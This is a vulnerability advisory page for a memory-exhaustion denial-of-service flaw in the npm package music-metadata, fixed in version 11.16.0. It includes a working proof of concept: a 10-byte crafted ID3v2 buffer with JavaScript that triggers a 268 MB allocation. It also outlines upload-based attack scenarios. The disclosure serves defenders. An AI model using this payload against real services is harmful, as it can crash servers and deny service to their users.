GHSA-jjpr-9cvf-cq55: Medium severity npm/music-metadata vulnerability

Published Oct 8, 2026
·
Updated

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

---

Details

Vulnerable Code Path:

- lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation - lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading - lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

1. If the tag size exceeds the remaining file size 2. If the tag size exceeds a reasonable maximum 3. If the subsequent read will actually succeed

typescript // ID3v2Token.ts:108 const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation const tagBody = await tokenizer.readBuffer(Buffer.alloc(size)); // If actual data < size, read fails but allocation succeeded

Attack Mechanism:

1. File contains valid ID3v2 header with 10 bytes total 2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value) 3. Parser allocates 268 MB buffer 4. Stream read fails (EOF) after 10 bytes 5. EndOfStreamError is caught internally and silently handled 6. Caller receives normal metadata object 7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)

---

PoC

Complete reproduction steps:

javascript import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, // "ID3" identifier 0x04, 0x00, // Version 2.4.0 0x00, // Flags (no unsync, no extended header, etc) 0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes) // File ends here - truncated ]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try { const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); console.log('✓ Parse succeeded (no error thrown)'); console.log('✓ Metadata returned:', metadata); console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input'); } catch (error) { console.error('✗ Unexpected error:', error.message); }

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

javascript // Extended PoC to show memory usage import { parseBuffer } from 'music-metadata'; import { performance } from 'perfhooks';

const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, 0x04, 0x00, 0x00, 0x7f, 0x7f, 0x7f, 0x7f ]);

// Force garbage collection before test if (global.gc) global.gc(); const before = process.memoryUsage();

console.log('Memory before:', { heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (before.external / 1024 / 1024).toFixed(2) + ' MB' });

const start = performance.now(); await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', { heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (after.external / 1024 / 1024).toFixed(2) + ' MB', heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB', externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB' });

console.log('Parse time:', duration.toFixed(2) + ' ms'); console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');

Expected output:

Input file size: 10 bytes ✓ Parse succeeded (no error thrown) ✓ Metadata returned: { format: {}, common: {}, native: {} } ⚠️ ~268 MB was allocated despite only 10 bytes of input

Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' } Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' } externalDelta: 256.00 MB Parse time: 15.23 ms Result: ⚠️ LARGE ALLOCATION

---

Impact

Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)

Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files

Who is Impacted:

- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.) - Podcast hosting services (Podbean, Transistor, Anchor, etc.) - Media servers (Plex, Subsonic, Jellyfin, etc.) - Audio processing services (Discord, Slack, Teams) - Any web service with file upload that uses music-metadata

Real-World Exploitation:

1. Single Attacker, Multiple Files: - Upload 10 malicious ID3v2 files (10 bytes each) - Force 2.68 GB memory allocation - Overwhelm server memory capacity

2. Distributed Attack: - 100 concurrent uploads × 268 MB = 26.8 GB memory - Exhaust server memory, force OOM kills - Crash worker processes, cause DoS

3. Slow Leak: - Repeatedly upload truncated ID3v2 files - Each parse allocates 268 MB - Memory leaks accumulate over time - Server becomes unresponsive

4. Cost Impact: - Forced to scale up server capacity for parsing - Increased infrastructure costs - Reduced service availability

Affected Software

1 affected componentFixes available
npm/music-metadata<=11.12.3
11.16.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/music-metadata to a version that resolves this vulnerability.

    Fixed in 11.16.0

Event History

Oct 8, 2026
Advisory Published
via GitHub·07:43 PM
Data Sourced
via GitHub·07:43 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using npm/music-metadata to parse untrusted files in formats with ID3v2 support are exposed. The affected parser paths include MP3, FLAC, DSF, and Musepack.

2

What must an attacker provide to trigger the problem?

An attacker needs to cause the application to parse a specially crafted file with a truncated ID3v2 tag whose size field declares a large value. The malformed input can be as small as 10 bytes while requesting allocation of up to 268 MB.

3

How does exploitation appear to the calling application?

The condition succeeds silently: callers do not receive an error. This can make the issue difficult to detect through normal parser error handling while memory is being exhausted.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203